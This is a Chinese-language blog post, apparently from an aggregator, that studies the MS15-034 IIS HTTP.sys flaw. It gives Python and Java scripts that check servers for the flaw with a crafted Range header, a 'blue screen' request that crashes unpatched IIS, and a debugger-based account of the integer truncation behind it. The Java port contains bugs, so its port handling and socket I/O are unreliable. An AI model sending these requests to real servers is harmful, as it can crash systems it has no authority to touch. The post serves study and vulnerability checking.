微软 IIS HTTP.sys漏洞原理学习以及POC
零、MS15-034POC核心部分(参考巡风):
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
flag = "GET / HTTP/1.0\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n"
s.send(flag)
data = s.recv(1024)
s.close()
if 'Requested Range Not Satisfiable' in data and 'Server: Microsoft' in data:
print "vuln"
由于最近想学习java,所以修改了一版java的代码:
/*
* encoding:utf-8
* Author:chenran01;
* Email:crsecscu@gmail.com
*/ //import lib packages
import java.net.Socket;
import java.util.Scanner;
import java.io.*; //define main class
public class HTTPSYS{
public static String IP_ADDR = "127.0.0.1";
public static int PORT = 80;
public static String Flag = "GET / HTTP/1.0\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
//Flag is the payload
public static void main(String[] args){
System.out.print("Please input target IP:");
Scanner input = new Scanner(System.in);
IP_ADDR = input.next();
System.out.print("Please input target port:");
try{
PORT = System.in.read();
}catch(Exception ex){
System.out.printf("Error-Reason:%s",ex.toString());
}finally{
PORT = 80;
}
try{
Socket socket = new Socket(IP_ADDR,PORT);
//创建socket
DataInputStream socketrecv = new DataInputStream(socket.getInputStream());
DataOutputStream socketsend = new DataOutputStream(socket.getOutputStream());
//创建输入输出对象
socketsend.writeUTF(Flag);//发送payload
String response_content = socketrecv.readUTF();//获取回显
if(response_content.indexOf("Server: Microsoft") != -1 && response_content.indexOf("Requested Range Not Satisfiable") != -1){
System.out.print("有漏洞");
}else{
System.out.print("没有漏洞");
}
}catch(Exception ex){
System.out.printf("Error-Reason:%s",ex.toString());
} }
}
一、MS15-034 HTTP.sys漏洞原理考证:
原理部分参考:http://www.ijiandao.com/safe/cto/12821.html
#举例:蓝屏POC
"""
GET /welcome.png HTTP/1.1
Host: PoC
Range: bytes=12345-18446744073709551615
"""
这个地方的Range字段在IIS内部HTTP!UlBuildFastRangeCacheMdlChain(用于生成响应报文的缓存MDL链,来描述HTTP响应的状态行、头部与消息体。)这个函数中会调用一次nt! IoBuildPartialMdl函数来生成MDL链。这这个函数里,会计算length这个值:
注意这里明确要求了由VirtualAddress与Length确定的区间必须是SourceMdl描述的缓冲区的一个自区间,正是对此要求的违反导致了此漏洞中的内存破坏。
第3次调用nt! IoBuildPartialMdl来生成消息体MDL时的参数如下:
SourceMdl = 0xfffffa801a38cb60
SourceMdl.VirtualAddress = 0xfffffa801ac94000
SourceMdl.ByteCount = 0x2d315
SourceMdl.ByteOffset = 0x0
TargetMdl = 0xfffffa801a2ed580
TargetMdl.VirtualAddress = 0xfffffa801ac97000
TargetMdl.ByteCount = 0xffffcfc7
TargetMdl.ByteOffset = 0x39
VirtualAddress = 0xfffffa801ac97039
Length = 0xffffcfc7这里的Length是根据HTTP请求消息头部中的Range字段计算得到的,过程如下:
首先,在HTTP!UlpParseRange中对Range字段进行解析,得到RangeBegin、RangeEnd;
然后,计算RangeLength = RangeEnd – RangeBegin + 1;
最后,将RangeLength截断为32位得到Length。
以PoC中的Range: bytes=12345-18446744073709551615为例:
RangeBegin = 12345 = 0x3039
RangeEnd = 18446744073709551615 = 0xffffffffffffffff
RangeLength = 0xffffffffffffffff – 0x00003039 + 1 = 0xffffffffffffcfc7
Length = 0xffffcfc7
显然由于Length超长而导致违反了nt! IoBuildPartialMdl的要求,进而造成内存破坏。
微软 IIS HTTP.sys漏洞原理学习以及POC的更多相关文章
- IIS短文件名漏洞原理与挖掘思路
首先来几个网址先了解一下 https://www.jb51.net/article/166405.htm https://www.freebuf.com/articles/web/172561.htm ...
- CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc
1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...
- IIS原理学习
IIS 原理学习 首先声明以下内容是我在网上搜索后整理的,在此只是进行记录,以备往后查阅只用. IIS 5.x介绍 IIS 5.x一个显著的特征就是Web Server和真正的ASP.NET Appl ...
- IIS写权限漏洞和XFF刷票原理
IIS写权限漏洞 PUT写入漏洞 此漏洞主要是因为服务器开启了webdav的组件导致的 1.扫描漏洞,yes,可以PUT: 2.用老兵的工具上传一句话文件test.txt,然后move改名为shell ...
- SSH用户枚举漏洞(CVE-2018-15473)原理学习
一.漏洞简介 1.漏洞编号和类型 CVE-2018-15473 SSH 用户名(USERNAME)暴力枚举漏洞 2.漏洞影响范围 OpenSSH 7.7及其以前版本 3.漏洞利用方式 由于SSH本身的 ...
- IIS的Unicode漏洞攻击
IIS有十多种常见漏洞,但利用得最多的莫过于Unicode解析错误漏洞.微软IIS 4.0/5.0在Unicode字符解码的实现中存在一个安全漏洞,用户可以远程通过IIS执行任意命令.当IIS打开文件 ...
- CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0
关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vuln ...
- HTTP.sys漏洞验证及防护
使用发包工具构造http请求包检测 以fiddler工具为例,构造如下图的请求包: 1 GET http://192.168.174.145/ HTTP/1.12 Host: 192.168.174. ...
- 利用URLScan工具过滤URL中的特殊字符(仅针对IIS6)-- 解决IIS短文件名漏洞
IIS短文件名漏洞在windows服务器上面非常常见,也就是利用“~”字符猜解暴露短文件/文件夹名,比如,采用这种方式构造URL:http://aaa.com/abc~1/.aspx,根据IIS返回的 ...
随机推荐
- MySQL LIMIT 如何改写成Oracle limit
mysql代码 SELECT * FROM tablename LIMIT 100,15 首先,Oracle是不支持limit的.个人感觉分页方面mysql比Oracle要好些.处理代码如下: sel ...
- [转]ViewPager学习笔记(一)——懒加载
在项目中ViewPager和Fragment接口框架已经是处处可见,但是在使用中,我们肯定不希望用户在当前页面时就在前后页面的数据,加入数据量很大,而用户又不愿意左右滑动浏览,那么这时候ViewPag ...
- 奇妙的go语言(面向对象)
[ 声明:版权全部.欢迎转载,请勿用于商业用途. 联系信箱:feixiaoxing @163.com] 有过C++语言学习经历的朋友都知道.面向对象主要包含了三个基本特征:封装.继承和多态.封装,就 ...
- rails中render 和 redirect_to的区别, each只能用在数组中,如果只有一个或者零个项,用each方法会报错undefined method `each' for #...
在render中,即使有:action,那么也仅仅是取对应的view中的模板(html.erb)而已,所以这里即使浏览器中的url是/orders/xcreate,但是显示的界面是/app/views ...
- 【采集层】Kafka 与 Flume 如何选择
转自:http://my.oschina.net/frankwu/blog/355298 采集层 主要可以使用Flume, Kafka两种技术. Flume:Flume 是管道流方式,提供了很多的默认 ...
- linux cpio
在使用bootimg tools压缩和打包android的ramdisk时,用到了cpio命令.所以了解一下用法. 参考 http://man.linuxde.net/cpio http://cn.l ...
- 第二百八十八节,MySQL数据库-索引、limit分页、执行计划、慢日志查询
MySQL数据库-索引.limit分页.执行计划.慢日志查询 索引,是数据库中专门用于帮助用户快速查询数据的一种数据结构.类似于字典中的目录,查找字典内容时可以根据目录查找到数据的存放位置,然后直接获 ...
- 第二章 入门(MyBatis)
本章将会以简略的步骤告诉你如何安装和创建 MyBatis-Spring,并构建一个简单的数据访问事务性的应用程序. Installation 要使用 MyBatis-Spring 模块,你只需要包含 ...
- mysql中,now()函数和sysdate()函数有什么区别?
问题描述: 今天在看mysql的时间函数,now()和sysdate(),记录下两者之间有什么不同. 实验过程: 1.执行以下的两个语句: mysql),now(); +--------------- ...
- 在Linux服务器上部署node项目(git部署,forever持续运行,配置SSL证书)
一.环境部署 1.下载安装包: wget https://nodejs.org/dist/v9.9.0/node-v9.9.0-linux-x64.tar.xz 2.解压并进入目录: xz -d no ...

